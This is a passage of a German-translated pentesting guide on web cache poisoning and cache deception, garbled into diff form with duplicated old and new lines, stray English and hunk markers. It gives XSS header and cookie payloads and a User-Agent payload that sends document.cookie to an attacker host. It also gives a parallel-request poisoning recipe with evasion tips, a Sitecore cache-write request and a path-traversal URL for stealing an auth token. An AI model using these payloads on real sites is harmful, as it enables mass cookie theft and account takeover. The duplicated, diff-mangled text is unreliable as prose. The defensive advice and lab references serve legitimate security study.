Beim Caching einer Anfrage sei **vorsichtig mit den Kopfzeilen, die du verwendest**, da einige von ihnen **unerwartet** als **schlüsselig** verwendet werden könnten und das **Opfer diese gleiche Kopfzeile verwenden muss**. Teste immer eine Cache-Vergiftung mit **verschiedenen Browsern**, um zu überprüfen, ob es funktioniert.
Beim Cachen einer Anfrage sei **vorsichtig mit den Headern, die du verwendest**, da einige von ihnen **unerwartet als Schlüssel verwendet** werden könnten und das **Opfer denselben Header verwenden muss**. Teste immer eine Cache Poisoning mit **verschiedenen Browsern**, um zu prüfen, ob sie funktioniert.
## Exploiting Examples
## Exploit-Beispiele
### Easiest example
### Einfachstes Beispiel
Eine Kopfzeile wie `X-Forwarded-For` wird unsaniert in der Antwort reflektiert.\
Du kannst eine grundlegende XSS-Nutzlast senden und den Cache vergiften, sodass jeder, der auf die Seite zugreift, XSS ausgesetzt wird:
Ein Header wie `X-Forwarded-For` wird ungefiltert in der Antwort reflektiert.\
Du kannst eine einfache XSS-Payload senden und den Cache vergiften, sodass alle, die die Seite aufrufen, XSSed werden:
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Note that this will poison a request to `/en?region=uk` not to `/en`_
_Beachte, dass dies eine Anfrage an `/en?region=uk` poisoniert, nicht an `/en`_
### Cache-Poisoning für DoS
### Cache poisoning to DoS
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
### Cache-Poisoning durch CDNs
### Cache poisoning durch CDNs
In **[diesem Bericht](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** wird folgendes einfaches Szenario erklärt:
In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** wird folgendes einfaches Szenario erklärt:
- Das CDN wird alles unter `/share/` cachen
- Das CDN wird `%2F..%2F` NICHT dekodieren oder normalisieren, daher kann es als **Path Traversal verwendet werden, um auf andere sensible Orte zuzugreifen, die gecached werden**, wie `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- Der Webserver wird `%2F..%2F` dekodieren und normalisieren und mit `/api/auth/session` antworten, das **den Auth-Token enthält**.
- Das CDN cached alles unter `/share/`
- Das CDN wird `%2F..%2F` NICHT decodieren oder normalisieren, daher kann es als **path traversal** verwendet werden, um auf andere sensible Orte zuzugreifen, die gecached werden, wie `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- Der Webserver wird `%2F..%2F` DEKODIEREN und normalisieren und antwortet mit `/api/auth/session`, welches den auth token enthält.
### Verwendung von Web-Cache-Poisoning zur Ausnutzung von Cookie-Verwundbarkeiten
### Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies könnten auch in der Antwort einer Seite reflektiert werden. Wenn Sie dies missbrauchen können, um beispielsweise ein XSS zu verursachen, könnten Sie in der Lage sein, XSS in mehreren Clients auszunutzen, die die bösartige Cache-Antwort laden.
Cookies könnten auch in der Antwort einer Seite reflektiert werden. Wenn du das ausnutzen kannst, um beispielsweise eine XSS zu verursachen, könntest du in der Lage sein, XSS in mehreren Clients auszunutzen, die die bösartige cache response laden.
```html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Beachten Sie, dass, wenn das verwundbare Cookie von den Benutzern häufig verwendet wird, regelmäßige Anfragen den Cache bereinigen.
Beachte, dass wenn das verwundbare Cookie häufig von den Nutzern verwendet wird, normale Anfragen den Cache bereinigen.
### Generierung von Abweichungen mit Trennzeichen, Normalisierung und Punkten <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Generating discrepancies with delimiters, normalization and dots <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Überprüfen Sie:
Siehe:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Cache-Poisoning mit Pfadüberquerung zum Stehlen des API-Schlüssels <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Cache poisoning mit path traversal, um einen API key zu stehlen <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Dieser Bericht erklärt**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html), wie es möglich war, einen OpenAI API-Schlüssel mit einer URL wie `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` zu stehlen, da alles, was mit `/share/*` übereinstimmt, ohne dass Cloudflare die URL normalisiert, im Cache gespeichert wird, was geschah, als die Anfrage den Webserver erreichte.
[**Dieser Writeup erklärt**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html), wie es möglich war, einen OpenAI API key mit einer URL wie `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` zu stehlen, weil alles, was `/share/*` entspricht, zwischengespeichert wird, ohne dass Cloudflare die URL normalisiert, was erst durchgeführt wurde, als die Anfrage den Webserver erreichte.
Dies wird auch besser erklärt in:
Das ist auch besser erklärt in:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Verwendung mehrerer Header zur Ausnutzung von Web-Cache-Poisoning-Schwachstellen <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Manchmal müssen Sie **mehrere unverschlüsselte Eingaben ausnutzen**, um einen Cache zu missbrauchen. Zum Beispiel können Sie einen **Open Redirect** finden, wenn Sie `X-Forwarded-Host` auf eine von Ihnen kontrollierte Domain und `X-Forwarded-Scheme` auf `http` setzen. **Wenn** der **Server** alle **HTTP**-Anfragen **an HTTPS** weiterleitet und den Header `X-Forwarded-Scheme` als Domainnamen für die Weiterleitung verwendet. Sie können steuern, wohin die Seite durch die Weiterleitung zeigt.
Manchmal müssen Sie **exploit several unkeyed inputs**, um einen Cache ausnutzen zu können. Zum Beispiel können Sie einen **Open redirect** finden, wenn Sie `X-Forwarded-Host` auf eine von Ihnen kontrollierte Domain setzen und `X-Forwarded-Scheme` auf `http`. **Wenn** der **Server** alle **HTTP**-Anfragen **auf HTTPS** weiterleitet und den Header `X-Forwarded-Scheme` als Domainnamen für die Weiterleitung verwendet, können Sie steuern, wohin die Seite durch die Weiterleitung zeigt.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Ausnutzen des begrenzten `Vary`-Headers
### Ausnutzen mit eingeschränktem `Vary`header
Wenn Sie festgestellt haben, dass der **`X-Host`**-Header als **Domainname zum Laden einer JS-Ressource** verwendet wird, der **`Vary`**-Header in der Antwort jedoch **`User-Agent`** angibt, müssen Sie einen Weg finden, den User-Agent des Opfers zu exfiltrieren und den Cache mit diesem User-Agent zu vergiften:
Wenn du feststellst, dass der **`X-Host`** Header als **Domainname zum Laden einer JS-Ressource** verwendet wird, der **`Vary`** Header in der Antwort jedoch **`User-Agent`** angibt. Dann musst du einen Weg finden, den User-Agent des Opfers zu exfiltrieren und den Cache mit diesem User-Agent zu vergiften:
```html
GET / HTTP/1.1
Host: vulnerbale.net
@ -136,7 +137,7 @@ X-Host: attacker.com
```
### Fat Get
Senden Sie eine GET-Anfrage mit der Anfrage in der URL und im Body. Wenn der Webserver den aus dem Body verwendet, der Cache-Server jedoch den aus der URL cached, wird jeder, der auf diese URL zugreift, tatsächlich den Parameter aus dem Body verwenden. Wie die Schwachstelle, die James Kettle auf der Github-Website gefunden hat:
Sende eine GET request, bei der die request sowohl in der URL als auch im body steht. Wenn der web server den Wert aus dem body verwendet, der cache server jedoch den aus der URL zwischenspeichert, wird jeder, der diese URL aufruft, tatsächlich den Parameter aus dem body verwenden. Wie die vuln, die James Kettle auf der Github website gefunden hat:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -145,93 +146,110 @@ Content-Length: 22
report=innocent-victim
```
Es gibt ein Portswigger-Labor dazu: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
Dazu gibt es ein PortSwigger-Lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### Parameter Cloaking
### Parameter Cloacking
Zum Beispiel ist es möglich, **Parameter** in Ruby-Servern mit dem Zeichen **`;`** anstelle von **`&`** zu trennen. Dies könnte verwendet werden, um unverschlüsselte Parameterwerte in verschlüsselte einzufügen und sie auszunutzen.
Zum Beispiel ist es möglich, **parameters** in Ruby-Servern mit dem Zeichen **`;`** statt **`&`** zu trennen. Das kann verwendet werden, um unkeyed Parameterwerte in keyed ones zu platzieren und auszunutzen.
Portswigger-Labor: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### Ausnutzen von HTTP Cache Poisoning durch Missbrauch von HTTP Request Smuggling
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Erfahren Sie hier, wie man [Cache Poisoning-Angriffe durch Missbrauch von HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning) durchführt.
Erfahre hier, wie man [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning) durchführt.
### Automatisierte Tests auf Web Cache Poisoning
### Automated testing for Web Cache Poisoning
Der [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) kann verwendet werden, um automatisch auf Web Cache Poisoning zu testen. Er unterstützt viele verschiedene Techniken und ist hochgradig anpassbar.
Beispielverwendung: `wcvs -u example.com`
Beispiel: `wcvs -u example.com`
### Header-Reflexion XSS + CDN/WAF-unterstützte Cache-Seeding (User-Agent, automatisch zwischengespeicherte .js)
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Dieses Muster aus der realen Welt verknüpft ein header-basiertes Reflexionsprimitive mit dem Verhalten von CDN/WAF, um zuverlässig das zwischengespeicherte HTML zu vergiften, das anderen Benutzern bereitgestellt wird:
Dieses reale Muster verknüpft eine header-basierte Reflection-Primitive mit CDN/WAF-Verhalten, um zuverlässig das gecachte HTML zu poisonen, das an andere Nutzer ausgeliefert wird:
- Das Haupt-HTML reflektierte einen nicht vertrauenswürdigen Anforderungsheader (z. B. `User-Agent`) in einen ausführbaren Kontext.
- Das CDN entfernte Cache-Header, aber ein internes/ursprüngliches Cache existierte. Das CDN speicherte auch automatisch Anfragen mit statischen Erweiterungen (z. B. `.js`), während das WAF eine schwächere Inhaltsinspektion für GET-Anfragen nach statischen Assets anwendete.
- Eigenheiten im Anfragefluss ermöglichten es einer Anfrage an einen `.js`-Pfad, den Cache-Schlüssel/Variant zu beeinflussen, der für das nachfolgende Haupt-HTML verwendet wurde, was XSS zwischen Benutzern über Header-Reflexion ermöglichte.
- Das Haupt-HTML reflektierte einen untrusted request header (z. B. `User-Agent`) in einen ausführbaren Kontext.
- Das CDN entfernte cache-Header, aber ein interner/origin Cache existierte. Das CDN cached außerdem automatisch Requests, die auf statische Endungen enden (z. B. `.js`), während der WAF bei GETs für statische Assets eine schwächere Content-Inspektion anwendete.
- Request-Flow-Quirks erlaubten es, dass ein Request zu einem `.js`-Pfad den Cache-Key/Variant beeinflusste, der für das anschließende Haupt-HTML verwendet wurde, wodurch cross-user XSS via header reflection möglich wurde.
Praktisches Rezept (beobachtet bei einem beliebten CDN/WAF):
Praktische Vorgehensweise (beobachtet bei einem populären CDN/WAF):
1) Von einer sauberen IP (vorherige rufbasierte Herabstufungen vermeiden) einen bösartigen `User-Agent` über den Browser oder Burp Proxy Match & Replace festlegen.
2) In Burp Repeater eine Gruppe von zwei Anfragen vorbereiten und "Gruppe parallel senden" verwenden (Einzelpaketmodus funktioniert am besten):
- Erste Anfrage: GET einen `.js`-Ressourcenpfad auf demselben Ursprung, während Sie Ihren bösartigen `User-Agent` senden.
- Unmittelbar danach: GET die Hauptseite (`/`).
3) Das Routing-Rennen von CDN/WAF plus das automatisch zwischengespeicherte `.js` führt oft zu einer vergifteten zwischengespeicherten HTML-Variante, die dann anderen Besuchern bereitgestellt wird, die die gleichen Cache-Schlüsselbedingungen teilen (z. B. dieselben `Vary`-Dimensionen wie `User-Agent`).
1) Von einer clean IP (Vermeide vorherige reputation-based downgrades), setze einen bösartigen `User-Agent` über den Browser oder Burp Proxy Match & Replace.
2) In Burp Repeater, bereite eine Gruppe von zwei Requests vor und nutze "Send group in parallel" (single-packet mode funktioniert am besten):
- First request: GET a `.js` resource path on the same origin while sending your malicious `User-Agent`.
- Immediately after: GET the main page (`/`).
3) Das CDN/WAF Routing-Rennen plus das auto-cached `.js` seedet häufig eine poisoned gecachte HTML-Variante, die dann an andere Besucher ausgeliefert wird, die dieselben Cache-Key-Bedingungen teilen (z. B. gleiche `Vary`-Dimensionen wie `User-Agent`).
Beispiel-Header-Payload (um nicht-HttpOnly-Cookies zu exfiltrieren):
Beispiel Header-Payload (um non-HttpOnly cookies zu exfiltrieren):
```
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```
Operational tips:
- Viele CDNs verbergen Cache-Header; Poisoning kann nur bei mehrstündigen Aktualisierungszyklen auftreten. Verwenden Sie mehrere vantage IPs und drosseln Sie, um Rate-Limit- oder Reputationsauslöser zu vermeiden.
- Die Verwendung einer IP aus der eigenen Cloud des CDNs verbessert manchmal die Routing-Konsistenz.
- Wenn eine strenge CSP vorhanden ist, funktioniert dies weiterhin, wenn die Reflexion im Haupt-HTML-Kontext ausgeführt wird und die CSP die Inline-Ausführung erlaubt oder durch den Kontext umgangen wird.
- Viele CDNs verbergen Cache-Header; poisoning kann sich nur in mehrstündigen Refresh-Zyklen zeigen. Verwende mehrere unterschiedliche Ausgangs-IP-Adressen und drossele, um Rate-Limit- oder Reputations-Trigger zu vermeiden.
- Die Verwendung einer IP aus der Cloud des CDN verbessert manchmal die Routing-Konsistenz.
- Wenn eine strikte CSP vorhanden ist, funktioniert das weiterhin, sofern die reflection im Haupt-HTML-Kontext ausgeführt wird und die CSP inline-Ausführung erlaubt oder durch den Kontext umgangen wird.
Impact:
- Wenn Sitzungscookies nicht `HttpOnly` sind, ist ein Zero-Click ATO möglich, indem `document.cookie` von allen Benutzern, die das vergiftete HTML erhalten, massenhaft exfiltriert wird.
- Wenn Session-Cookies nicht `HttpOnly` gesetzt sind, ist ein Zero-Click ATO möglich, indem `document.cookie` massenhaft von allen Nutzern exfiltriert wird, die das poisoned HTML erhalten.
Defenses:
- Stoppen Sie das Reflektieren von Anfrage-Headern in HTML; kodieren Sie den Kontext strikt, wenn es unvermeidlich ist. Richten Sie die Cache-Richtlinien von CDN und Ursprung aus und vermeiden Sie Variationen bei nicht vertrauenswürdigen Headern.
- Stellen Sie sicher, dass WAF die Inhaltsinspektion konsistent auf `.js`-Anfragen und statische Pfade anwendet.
- Setzen Sie `HttpOnly` (und `Secure`, `SameSite`) auf Sitzungscookies.
- Stoppe das Reflektieren von Request-Headern in HTML; kontextkodieren (strictly context-encode), wenn unvermeidbar. Stimme CDN- und Origin-Cache-Policies aufeinander ab und vermeide Varying auf nicht vertrauenswürdigen Headern.
- Stelle sicher, dass der WAF Inhaltsinspektion konsistent auf `.js`-Requests und statische Pfade anwendet.
- Setze `HttpOnly` (und `Secure`, `SameSite`) auf Session-Cookies.
## Vulnerable Examples
### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:
```
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
Dies schreibt beliebiges HTML unter einem vom Angreifer gewählten cache key und ermöglicht präzises poisoning, sobald die cache keys bekannt sind.
Für vollständige Details (cache key construction, ItemService enumeration und eine verkettete post‑auth deserialization RCE):
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md
{{#endref}}
## Verwundbare Beispiele
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS leitete den Fragmentteil innerhalb der URL weiter, ohne ihn zu entfernen, und generierte den Cache-Schlüssel nur unter Verwendung des Hosts, des Pfads und der Abfrage (den Fragmentteil ignorierend). Daher wurde die Anfrage `/#/../?r=javascript:alert(1)` an das Backend als `/#/../?r=javascript:alert(1)` gesendet, und der Cache-Schlüssel enthielt nicht die Payload, sondern nur Host, Pfad und Abfrage.
ATS leitete das Fragment in der URL weiter, ohne es zu entfernen, und erzeugte den cache key nur aus host, path und query (ignorierte das Fragment). Daher wurde die Anfrage `/#/../?r=javascript:alert(1)` an das backend als `/#/../?r=javascript:alert(1)` weitergeleitet und der cache key enthielt die Payload nicht, nur host, path und query.
### GitHub CP-DoS
Das Senden eines fehlerhaften Wertes im Content-Type-Header löste eine 405-Cache-Antwort aus. Der Cache-Schlüssel enthielt das Cookie, sodass es nur möglich war, nicht authentifizierte Benutzer anzugreifen.
Das Senden eines ungültigen Wertes im content-type header löste eine gecachte 405-Antwort aus. Der cache key enthielt das cookie, daher war ein Angriff nur gegen unauth users möglich.
### GitLab + GCP CP-DoS
GitLab verwendet GCP-Buckets zur Speicherung statischer Inhalte. **GCP Buckets** unterstützen den **Header `x-http-method-override`**. Daher war es möglich, den Header `x-http-method-override: HEAD` zu senden und den Cache zu vergiften, sodass eine leere Antwort zurückgegeben wurde. Es könnte auch die Methode `PURGE` unterstützen.
GitLab nutzt GCP buckets zum Speichern statischer Inhalte. **GCP Buckets** unterstützen den **Header `x-http-method-override`**. Es war also möglich, den Header `x-http-method-override: HEAD` zu senden und den Cache so zu vergiften, dass eine leere response body zurückgegeben wurde. Es könnte auch die Methode `PURGE` unterstützen.
### Rack Middleware (Ruby on Rails)
In Ruby on Rails-Anwendungen wird häufig Rack-Middleware verwendet. Der Zweck des Rack-Codes besteht darin, den Wert des **`x-forwarded-scheme`**-Headers zu übernehmen und ihn als Schema der Anfrage festzulegen. Wenn der Header `x-forwarded-scheme: http` gesendet wird, erfolgt eine 301-Weiterleitung an denselben Ort, was möglicherweise zu einer Denial of Service (DoS) für diese Ressource führt. Darüber hinaus könnte die Anwendung den `X-forwarded-host`-Header anerkennen und Benutzer an den angegebenen Host weiterleiten. Dieses Verhalten kann dazu führen, dass JavaScript-Dateien von einem Server des Angreifers geladen werden, was ein Sicherheitsrisiko darstellt.
In Ruby on Rails Anwendungen wird häufig Rack middleware verwendet. Zweck des Rack-Codes ist es, den Wert des **`x-forwarded-scheme`** Headers zu nehmen und als scheme der Anfrage zu setzen. Wenn der Header `x-forwarded-scheme: http` gesendet wird, erfolgt ein 301 redirect zur gleichen Location, was potentiell einen Denial of Service (DoS) für diese Ressource verursachen kann. Zusätzlich könnte die Anwendung den `X-forwarded-host` Header anerkennen und Benutzer zum angegebenen Host weiterleiten. Dieses Verhalten kann dazu führen, dass JavaScript-Dateien von einem Server des Angreifers geladen werden, was ein Sicherheitsrisiko darstellt.
### 403 und Storage Buckets
### 403 and Storage Buckets
Cloudflare hat zuvor 403-Antworten zwischengespeichert. Der Versuch, auf S3 oder Azure Storage Blobs mit falschen Autorisierungsheadern zuzugreifen, führte zu einer 403-Antwort, die zwischengespeichert wurde. Obwohl Cloudflare das Zwischenspeichern von 403-Antworten eingestellt hat, könnte dieses Verhalten weiterhin in anderen Proxy-Diensten vorhanden sein.
Cloudflare hat früher 403-Antworten gecacht. Der Versuch, S3 oder Azure Storage Blobs mit falschen Authorization-Headern zuzugreifen, führte zu einer 403-Antwort, die gecacht wurde. Obwohl Cloudflare aufgehört hat, 403-Antworten zu cachen, kann dieses Verhalten in anderen Proxy-Diensten noch vorhanden sein.
### Injecting Keyed Parameters
Caches enthalten häufig spezifische GET-Parameter im Cache-Schlüssel. Beispielsweise speicherte Fastlys Varnish den `size`-Parameter in Anfragen. Wenn jedoch eine URL-kodierte Version des Parameters (z. B. `siz%65`) ebenfalls mit einem fehlerhaften Wert gesendet wurde, wurde der Cache-Schlüssel unter Verwendung des korrekten `size`-Parameters konstruiert. Das Backend würde jedoch den Wert im URL-kodierten Parameter verarbeiten. Das URL-Codieren des zweiten `size`-Parameters führte zu dessen Auslassung durch den Cache, aber zu seiner Nutzung durch das Backend. Das Zuweisen eines Wertes von 0 zu diesem Parameter führte zu einem zwischenspeicherbaren 400 Bad Request-Fehler.
Caches schließen oft bestimmte GET-Parameter in den cache key ein. Beispielsweise hat Fastly's Varnish den `size`-Parameter in Requests gecacht. Wenn jedoch eine URL-codierte Version des Parameters (z. B. `siz%65`) mit einem fehlerhaften Wert gesendet wurde, wurde der cache key unter Verwendung des korrekten `size`-Parameters konstruiert. Das Backend verarbeitete jedoch den Wert im URL-codierten Parameter. Die URL-Codierung des zweiten `size`-Parameters führte dazu, dass er vom Cache weggelassen, aber vom Backend verwendet wurde. Einen Wert von 0 für diesen Parameter zuzuweisen führte zu einem cachebaren 400 Bad Request-Fehler.
### User Agent Rules
Einige Entwickler blockieren Anfragen mit User-Agents, die mit denen von stark frequentierten Tools wie FFUF oder Nuclei übereinstimmen, um die Serverlast zu steuern. Ironischerweise kann dieser Ansatz Schwachstellen wie Cache-Poisoning und DoS einführen.
Einige Entwickler blockieren Requests mit user-agents, die zu stark frequentierten Tools wie FFUF oder Nuclei gehören, um die Serverlast zu steuern. Ironischerweise kann dieser Ansatz Schwachstellen wie cache poisoning und DoS einführen.
### Illegal Header Fields
Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spezifiziert die akzeptablen Zeichen in Headernamen. Header, die Zeichen außerhalb des angegebenen **tchar**-Bereichs enthalten, sollten idealerweise eine 400 Bad Request-Antwort auslösen. In der Praxis halten sich Server jedoch nicht immer an diesen Standard. Ein bemerkenswertes Beispiel ist Akamai, das Header mit ungültigen Zeichen weiterleitet und jeden 400-Fehler zwischenspeichert, solange der `cache-control`-Header nicht vorhanden ist. Ein ausnutzbares Muster wurde identifiziert, bei dem das Senden eines Headers mit einem illegalen Zeichen, wie `\`, zu einem zwischenspeicherbaren 400 Bad Request-Fehler führte.
Der [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spezifiziert die zulässigen Zeichen in Header-Namen. Header, die Zeichen außerhalb des spezifizierten **tchar**-Bereichs enthalten, sollten idealerweise eine 400 Bad Request-Antwort auslösen. In der Praxis halten sich Server nicht immer an diesen Standard. Ein bemerkenswertes Beispiel ist Akamai, das Header mit ungültigen Zeichen weiterleitet und jeden 400-Fehler cached, solange der `cache-control`-Header nicht vorhanden ist. Ein ausnutzbares Muster wurde identifiziert, bei dem das Senden eines Headers mit einem illegalen Zeichen, wie `\`, zu einem cachebaren 400 Bad Request-Fehler führte.
### Finding new headers
@ -239,32 +257,32 @@ Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spezifiziert die ak
## Cache Deception
Das Ziel von Cache Deception ist es, Clients **Ressourcen laden zu lassen, die mit ihren sensiblen Informationen vom Cache gespeichert werden**.
The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**.
Zunächst ist zu beachten, dass **Erweiterungen** wie `.css`, `.js`, `.png` usw. normalerweise **konfiguriert** sind, um im **Cache** **gespeichert** zu werden. Daher wird der Cache wahrscheinlich die Antwort speichern, wenn Sie `www.example.com/profile.php/nonexistent.js` aufrufen, da er die `.js` **Erweiterung** sieht. Wenn die **Anwendung** jedoch mit den **sensiblen** Benutzerinhalten, die in _www.example.com/profile.php_ gespeichert sind, **wiedergibt**, können Sie diese Inhalte von anderen Benutzern **stehlen**.
Zunächst ist zu beachten, dass **extensions** wie `.css`, `.js`, `.png` usw. normalerweise so **konfiguriert** sind, dass sie im **cache** **gespeichert** werden. Daher wird die Antwort wahrscheinlich gespeichert, wenn Sie `www.example.com/profile.php/nonexistent.js` aufrufen, weil die `.js` **extension** erkannt wird. Wenn die **application** jedoch mit den **sensitive** Benutzerinhalten von _www.example.com/profile.php_ antwortet, können Sie diese Inhalte von anderen Benutzern **stehlen**.
Weitere Dinge, die getestet werden sollten:
Weitere Dinge zum Testen:
- _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_
- _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_
- _Verwenden Sie weniger bekannte Erweiterungen wie_ `.avif`
- _Use lesser known extensions such as_ `.avif`
Ein weiteres sehr klares Beispiel findet sich in diesem Bericht: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
In dem Beispiel wird erklärt, dass, wenn Sie eine nicht vorhandene Seite wie _http://www.example.com/home.php/non-existent.css_ laden, der Inhalt von _http://www.example.com/home.php_ (**mit den sensiblen Informationen des Benutzers**) zurückgegeben wird und der Cache-Server das Ergebnis speichern wird.\
Dann kann der **Angreifer** _http://www.example.com/home.php/non-existent.css_ in seinem eigenen Browser aufrufen und die **vertraulichen Informationen** der Benutzer beobachten, die zuvor darauf zugegriffen haben.
Ein weiteres sehr klares Beispiel findet sich in diesem Write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
Im Beispiel wird erklärt, dass, wenn Sie eine nicht existierende Seite wie _http://www.example.com/home.php/non-existent.css_ laden, der Inhalt von _http://www.example.com/home.php_ (**mit den vertraulichen Informationen des Benutzers**) zurückgegeben wird und der cache server das Ergebnis speichern wird.\
Dann kann der **attacker** _http://www.example.com/home.php/non-existent.css_ in seinem eigenen Browser aufrufen und die **confidential information** der Benutzer sehen, die zuvor zugegriffen haben.
Beachten Sie, dass der **Cache-Proxy** so **konfiguriert** sein sollte, dass er Dateien **basierend** auf der **Erweiterung** der Datei (_ .css_) und nicht basierend auf dem Content-Type speichert. Im Beispiel _http://www.example.com/home.php/non-existent.css_ wird ein `text/html`-Content-Type anstelle eines `text/css`-MIME-Typs (der für eine _.css_-Datei erwartet wird) haben.
Beachte, dass der **cache proxy** so **konfiguriert** sein sollte, Dateien **basierend** auf der **extension** der Datei (_.css_) zu **cachen** und nicht auf dem content-type. Im Beispiel wird _http://www.example.com/home.php/non-existent.css_ einen `text/html` content-type statt eines `text/css` mime type haben.
Erfahren Sie hier, wie Sie [Cache Deceptions-Angriffe unter Verwendung von HTTP Request Smuggling durchführen](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
Weitere Informationen dazu, wie man [ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception) durchführt.
## Automatic Tools
## Automatische Tools
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang-Scanner zur Auffindung von Web-Cache-Poisoning-Schwachstellen in einer Liste von URLs und zum Testen mehrerer Injektionstechniken.
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner, um web cache poisoning Schwachstellen in einer Liste von URLs zu finden und mehrere Injection-Techniken zu testen.
## References
## Referenzen
- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
@ -274,6 +292,7 @@ Erfahren Sie hier, wie Sie [Cache Deceptions-Angriffe unter Verwendung von HTTP
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
